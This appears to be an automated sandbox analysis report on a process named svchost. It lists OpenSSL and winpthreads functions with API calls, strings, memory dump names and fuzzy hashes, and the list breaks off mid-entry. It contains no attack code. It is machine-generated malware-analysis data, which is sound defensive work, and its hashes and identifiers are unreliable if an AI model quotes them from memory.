Instruction Fuzzy Hash: 4311B2A2B1D78281E751D772F8457EA6320EB84BC4F449031EE6D87BA6DE2DE5818700

Function 00007FFBAB440B5F Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 53COMMON

Download Yara Rule

APIs

BIO_indent.LIBCRYPTO-3-X64 ref: 00007FFBAB440B83
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB440BC0

Strings

server_version, xrefs: 00007FFBAB440BAF
cookie, xrefs: 00007FFBAB440BF1
%s=0x%x (%s), xrefs: 00007FFBAB440BB9

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_indentO_printf
String ID: %s=0x%x (%s)$cookie$server_version
API String ID: 1860387303-2821402668
Opcode ID: dc55b136458b3956da420a4ced34826eb6fd4667b45e9e87ee36ed3099cd13aa
Instruction ID: a5681995522ecf8121efb770a393b60d59b62ee7913ac9dff392dde7e8ecd4a7
Opcode Fuzzy Hash: dc55b136458b3956da420a4ced34826eb6fd4667b45e9e87ee36ed3099cd13aa
Instruction Fuzzy Hash: 041134B2B0A6D142EA168B74E4250B87A02EB80328F01C232CEBC027F1CE3CD5A6C304

Function 00007FFBAB490FE0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,00007FFBAB46F3F2), ref: 00007FFBAB490FFC
ERR_set_debug.LIBCRYPTO-3-X64(?,00007FFBAB46F3F2), ref: 00007FFBAB491014

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

BIO_set_flags.LIBCRYPTO-3-X64(?,00007FFBAB46F3F2), ref: 00007FFBAB49106C

Strings

ssl\statem\statem_dtls.c, xrefs: 00007FFBAB49100D
dtls1_read_failed, xrefs: 00007FFBAB491001

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_set_flagsR_newR_set_debugR_vset_error
String ID: dtls1_read_failed$ssl\statem\statem_dtls.c
API String ID: 617247779-2547669737
Opcode ID: e64f7d3fdb65d1a11c8079e2c9def8cf12f6eae16bcb5b8bc65eaf0d7f2e0a76
Instruction ID: 713b2843d0a8e098292924131240e23220d2268ce62886cbfd8d680661cc512e
Opcode Fuzzy Hash: e64f7d3fdb65d1a11c8079e2c9def8cf12f6eae16bcb5b8bc65eaf0d7f2e0a76
Instruction Fuzzy Hash: 62016DA1F5A14356F6A2A77AE9936BE12509F847C0F089031EE3D876B7ED2DE8804640

Function 00007FFBAB460210 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB460253
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB46026B
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB46027C

Strings

ssl\quic\quic_rstream.c, xrefs: 00007FFBAB460264
ossl_quic_rstream_queue_data, xrefs: 00007FFBAB460258

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: ossl_quic_rstream_queue_data$ssl\quic\quic_rstream.c
API String ID: 1552677711-468918440
Opcode ID: 07d302c16cb975c7cbcdc96ac8009da06d46e2be223d517764e6b9399bc91862
Instruction ID: deb54e4a602e880cb6db51d1a25d230cb9d937d050803cf854eb30e482428e01
Opcode Fuzzy Hash: 07d302c16cb975c7cbcdc96ac8009da06d46e2be223d517764e6b9399bc91862
Instruction Fuzzy Hash: 1611A7A1B1A68182FEA79735E4A237E2351BF95740F90D039ED5D427A5DE3CE8098A01

Function 00007FFBAB414900 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

BIO_ctrl.LIBCRYPTO-3-X64 ref: 00007FFBAB414950
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB41497F
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB414997

Strings

dtls1_check_timeout_num, xrefs: 00007FFBAB414984
ssl\d1_lib.c, xrefs: 00007FFBAB414990

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_ctrlR_newR_set_debug
String ID: dtls1_check_timeout_num$ssl\d1_lib.c
API String ID: 2442628283-4185249889
Opcode ID: b1a9a4547ff906208184b0367555025d3ef1f003377d235aedb0efbc53b3a662
Instruction ID: 015955793a6a183f37bc60a6b72266434bae34ef3294b975a202eece2bf4fdeb
Opcode Fuzzy Hash: b1a9a4547ff906208184b0367555025d3ef1f003377d235aedb0efbc53b3a662
Instruction Fuzzy Hash: CF1186B2E1A241C2E792AB75D4926FC3361EF84F44F488536DE2D477A5DF289581C704

Function 00007FFBAB4428F0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAB443520: EVP_MD_get0_name.LIBCRYPTO-3-X64(00000000,00000001,00000000,00000000,?,?,?,00000000,00007FFBAB45E01B,?,?,?,?,?,?,?), ref: 00007FFBAB4435A0
Part of subcall function 00007FFBAB443520: EVP_KDF_free.LIBCRYPTO-3-X64(00000000,00000001,00000000,00000000,?,?,?,00000000,00007FFBAB45E01B,?,?,?,?,?,?,?), ref: 00007FFBAB4435B8
Part of subcall function 00007FFBAB443520: ERR_new.LIBCRYPTO-3-X64(00000000,00000001,00000000,00000000,?,?,?,00000000,00007FFBAB45E01B,?,?,?,?,?,?,?), ref: 00007FFBAB4435D4
Part of subcall function 00007FFBAB443520: ERR_set_debug.LIBCRYPTO-3-X64(00000000,00000001,00000000,00000000,?,?,?,00000000,00007FFBAB45E01B,?,?,?,?,?,?,?), ref: 00007FFBAB4435EC
Part of subcall function 00007FFBAB443520: ERR_set_error.LIBCRYPTO-3-X64(00000000,00000001,00000000,00000000,?,?,?,00000000,00007FFBAB45E01B,?,?,?,?,?,?,?), ref: 00007FFBAB4435FD
Part of subcall function 00007FFBAB443520: EVP_KDF_CTX_free.LIBCRYPTO-3-X64(00000000,00000001,00000000,00000000,?,?,?,00000000,00007FFBAB45E01B,?,?,?,?,?,?,?), ref: 00007FFBAB443605

ERR_new.LIBCRYPTO-3-X64(?,00007FFBAB44279E), ref: 00007FFBAB44295E
ERR_set_debug.LIBCRYPTO-3-X64(?,00007FFBAB44279E), ref: 00007FFBAB442974

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

Strings

tls13_hkdf_expand, xrefs: 00007FFBAB442963
ssl\tls13_enc.c, xrefs: 00007FFBAB44296D
finished, xrefs: 00007FFBAB44291F

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$D_get0_nameF_freeR_set_errorR_vset_errorX_free
String ID: finished$ssl\tls13_enc.c$tls13_hkdf_expand
API String ID: 3505470307-1348237582
Opcode ID: cf3ea33bb4df626c872050f9431ae6102b77338d0bd7d74f79670d10d5f2bc83
Instruction ID: f0a01cae23ac9f48f14447d773fe37ac390a343c496f37374904f158cc409b52
Opcode Fuzzy Hash: cf3ea33bb4df626c872050f9431ae6102b77338d0bd7d74f79670d10d5f2bc83
Instruction Fuzzy Hash: 1C11ACB2A19B8282D711CB25F4802AEB3A4FB88B84F108035EE9C43779DF38C1548B00

Function 00007FFBAB4380C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4380E6
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB4380FE
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB43810F

Strings

ssl\t1_lib.c, xrefs: 00007FFBAB4380F7
SSL_set_tlsext_max_fragment_length, xrefs: 00007FFBAB4380EB

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: SSL_set_tlsext_max_fragment_length$ssl\t1_lib.c
API String ID: 1552677711-2905481694
Opcode ID: 96a378446cbcedc236a4590c260003e5772c2196b86349007bfbe9f0451898d9
Instruction ID: 0981f6dec0455495f4f70a0b026b3965e6b7676f301c037d346b3a1ca67cccd7
Opcode Fuzzy Hash: 96a378446cbcedc236a4590c260003e5772c2196b86349007bfbe9f0451898d9
Instruction Fuzzy Hash: AF016DAAE4B14246FEA2E635C4933B95B429F11740F98C431DC3C835F2DD1EA94D8711

Function 64943360 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 34COMMON

Download Yara Rule

APIs

__iob_func.MSVCRT ref: 649433A8

Strings

../../src/mingw-w64/mingw-w64-libraries/winpthreads/src/rwlock.c, xrefs: 649433B6
(, xrefs: 649433AE
Assertion failed: (%s), file %s, line %d, xrefs: 649433C8
(((rwlock_t *)*rwl)->valid == LIFE_RWLOCK) && (((rwlock_t *)*rwl)->busy > 0), xrefs: 649433C1

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: __iob_func
String ID: ($(((rwlock_t *)*rwl)->valid == LIFE_RWLOCK) && (((rwlock_t *)*rwl)->busy > 0)$../../src/mingw-w64/mingw-w64-libraries/winpthreads/src/rwlock.c$Assertion failed: (%s), file %s, line %d
API String ID: 686374508-3651547468
Opcode ID: 7bff3dde8ce2c9ddfee02efadf41117ec0380b55c006dc73d75c7ed4cc5f8649
Instruction ID: 49758d916bec52361b93001baeb39d1493085cd40ca709cf8d0fcfd1233c8ec3
Opcode Fuzzy Hash: 7bff3dde8ce2c9ddfee02efadf41117ec0380b55c006dc73d75c7ed4cc5f8649
Instruction Fuzzy Hash: AA01493679150996EB14EF39E89478E3BA1F795B58FC98022C90C47320DF39C99BC7A0

Function 00007FFBAB45A3B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

OPENSSL_LH_set_down_load.LIBCRYPTO-3-X64(?,00007FFBAB45A6FB,?,00007FFBAB44B921), ref: 00007FFBAB45A3CF
OPENSSL_LH_doall_arg.LIBCRYPTO-3-X64(?,00007FFBAB45A6FB,?,00007FFBAB44B921), ref: 00007FFBAB45A3E2
OPENSSL_LH_delete.LIBCRYPTO-3-X64(?,00007FFBAB45A6FB,?,00007FFBAB44B921), ref: 00007FFBAB45A3EE
OPENSSL_LH_free.LIBCRYPTO-3-X64(?,00007FFBAB45A6FB,?,00007FFBAB44B921), ref: 00007FFBAB45A3F7

Strings

ssl\quic\quic_lcidm.c, xrefs: 00007FFBAB45A402

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: H_deleteH_doall_argH_freeH_set_down_load
String ID: ssl\quic\quic_lcidm.c
API String ID: 473658108-3923830422
Opcode ID: 550a5efd96314d58762f6876004fea294068b4d5f562269aa692825f48097bde
Instruction ID: 704cc43c5b1fdd8d09df93cf5cc923408a769234cd8a2993476f736a5cdef4d4
Opcode Fuzzy Hash: 550a5efd96314d58762f6876004fea294068b4d5f562269aa692825f48097bde
Instruction Fuzzy Hash: D6F03091A49A8291EA15DB73D58517C6311EF84BC4F04C431DE2D477B6DE2CE4654300

Function 00007FFBAB417BB8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB417AFE
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB417B0F
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB417BBD

Strings

ssl3_ctrl, xrefs: 00007FFBAB417BC2
ssl\s3_lib.c, xrefs: 00007FFBAB417AF7

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: ssl3_ctrl$ssl\s3_lib.c
API String ID: 1552677711-3530330221
Opcode ID: 7f6e9c6a5dc6c22308ddeae4405c50707ab7f2d4f3ce7b084941153460be6735
Instruction ID: 5c4ea1f9104bae82a2bbd21deffa34649854026aa4a62dc380a342be1943838c
Opcode Fuzzy Hash: 7f6e9c6a5dc6c22308ddeae4405c50707ab7f2d4f3ce7b084941153460be6735
Instruction Fuzzy Hash: 6DF090F1A0A65182E652A771F4425BE2311FB44794F90C433CE6C46ABADE2CE946C701

Function 00007FFBAB4682C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(00007FFBAB450483), ref: 00007FFBAB4682D2
ERR_set_debug.LIBCRYPTO-3-X64(00007FFBAB450483), ref: 00007FFBAB4682EA
ERR_set_error.LIBCRYPTO-3-X64(00007FFBAB450483), ref: 00007FFBAB4682FB

Strings

ossl_quic_tx_packetiser_set_cur_scid, xrefs: 00007FFBAB4682D7
ssl\quic\quic_txp.c, xrefs: 00007FFBAB4682E3

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: ossl_quic_tx_packetiser_set_cur_scid$ssl\quic\quic_txp.c
API String ID: 1552677711-511327206
Opcode ID: e1ec513cdd55cfe22c2372d47e70bf3bb4db6be4834082c20f93e2e0cd97b14e
Instruction ID: 4ba95f397c9ea6ac92c86c1322b7cc5eb56b986b197f6e5ebc86886e6741778b
Opcode Fuzzy Hash: e1ec513cdd55cfe22c2372d47e70bf3bb4db6be4834082c20f93e2e0cd97b14e
Instruction Fuzzy Hash: 03F090E5E1B24186E757A738C4422BC2761EB60704F90C431DA28422A2EE2CE6CA8711

Function 00007FFBAB468250 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(00007FFBAB44E583), ref: 00007FFBAB468262
ERR_set_debug.LIBCRYPTO-3-X64(00007FFBAB44E583), ref: 00007FFBAB46827A
ERR_set_error.LIBCRYPTO-3-X64(00007FFBAB44E583), ref: 00007FFBAB46828B

Strings

ossl_quic_tx_packetiser_set_cur_dcid, xrefs: 00007FFBAB468267
ssl\quic\quic_txp.c, xrefs: 00007FFBAB468273

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: ossl_quic_tx_packetiser_set_cur_dcid$ssl\quic\quic_txp.c
API String ID: 1552677711-1342796716
Opcode ID: b676c201c19b32777ab857dc901ce1c02518863092e0f94fc704b0cd12d4367e
Instruction ID: ff066c910f80a9fc787e366771400a59b11459a6752fe2796dddba72509838f6
Opcode Fuzzy Hash: b676c201c19b32777ab857dc901ce1c02518863092e0f94fc704b0cd12d4367e
Instruction Fuzzy Hash: 44F0B4E6E1A18186E757E738C4422BD27A1EB64304F90C431DE1C422B2EE2CE6DAC711

Function 00007FFBAB465BB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB465BCE
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB465BE6
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB465BF7

Strings

quic_app_data_pending, xrefs: 00007FFBAB465BD3
ssl\quic\quic_tls.c, xrefs: 00007FFBAB465BDF

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: quic_app_data_pending$ssl\quic\quic_tls.c
API String ID: 1552677711-2758597072
Opcode ID: c6541a24facb843c180e84527372b45acbe469c5389978cc7739567c9c7bdf9a
Instruction ID: 777fdf0e2ea99ed773f088904efb8397c228a6bd685cb33c8c7da809df243477
Opcode Fuzzy Hash: c6541a24facb843c180e84527372b45acbe469c5389978cc7739567c9c7bdf9a
Instruction Fuzzy Hash: 63F01CB1B4B6028AFBA6E771D8967BD2690DF00744F54D435DE2E826B2DE2C948A8601

Function 00007FFBAB465C90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB465CAE
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB465CC6
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB465CD7

Strings

quic_increment_sequence_ctr, xrefs: 00007FFBAB465CB3
ssl\quic\quic_tls.c, xrefs: 00007FFBAB465CBF

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: quic_increment_sequence_ctr$ssl\quic\quic_tls.c
API String ID: 1552677711-2984182107
Opcode ID: a18d62372108c2788068f0f0b3773232386b8f54d5049e8a98859044ff6e5735
Instruction ID: 25d964e1a3a7cf561d6d0b78f5cd7f05a8f6c6f485d523f73320c76dce1e45d1
Opcode Fuzzy Hash: a18d62372108c2788068f0f0b3773232386b8f54d5049e8a98859044ff6e5735
Instruction Fuzzy Hash: A9F082B1B0710286FBA2E770C4923BD26509F00704F54C430DD2D826B1DE3C9489C701

Function 00007FFBAB430860 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB430872
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB43088A
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB43089B

Strings

SSL_CTX_use_PrivateKey, xrefs: 00007FFBAB430877
ssl\ssl_rsa.c, xrefs: 00007FFBAB430883

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: SSL_CTX_use_PrivateKey$ssl\ssl_rsa.c
API String ID: 1552677711-2258079080
Opcode ID: 786441c3b64e9e5c4d15a254dc6e0d0d5d050303a3e97e7add92983b2aade78b
Instruction ID: e4dec301e71fc7ce6bb42fe25afb8345c23d9133d90b23b571eb46b70c6108a1
Opcode Fuzzy Hash: 786441c3b64e9e5c4d15a254dc6e0d0d5d050303a3e97e7add92983b2aade78b
Instruction Fuzzy Hash: 95E06DA5E5B54282E656E376C8832FE12519F50384FA4C435ED2D826B2AE1CA58A8601

Function 00007FFBAB47A860 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47A871
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB47A889
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB47A89A

Strings

ssl\record\methods\tlsany_meth.c, xrefs: 00007FFBAB47A882
tls_any_set_crypto_state, xrefs: 00007FFBAB47A876

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: ssl\record\methods\tlsany_meth.c$tls_any_set_crypto_state
API String ID: 1552677711-1973945482
Opcode ID: 0598e60b06366ad03e52f3ea5767825b42a0d0e7aeb2374eade444e93b0f0ddf
Instruction ID: 6258d128c2b1247a6578a3cd638444b22fdbf4fe2b4dec5fe95c8fda3c54c109
Opcode Fuzzy Hash: 0598e60b06366ad03e52f3ea5767825b42a0d0e7aeb2374eade444e93b0f0ddf
Instruction Fuzzy Hash: 8CE01AA9E5A14282F666A339C8A26BD2211AF90300FE4C531ED2D426F2EE1CE94D8641

Function 00007FFBAB43A130 Relevance: 7.6, APIs: 5, Instructions: 113COMMON

Download Yara Rule

APIs

X509_get0_pubkey.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FFBAB41D570), ref: 00007FFBAB43A183
EVP_PKEY_get_security_bits.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FFBAB41D570), ref: 00007FFBAB43A190
X509_get0_pubkey.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FFBAB41D570), ref: 00007FFBAB43A1D2
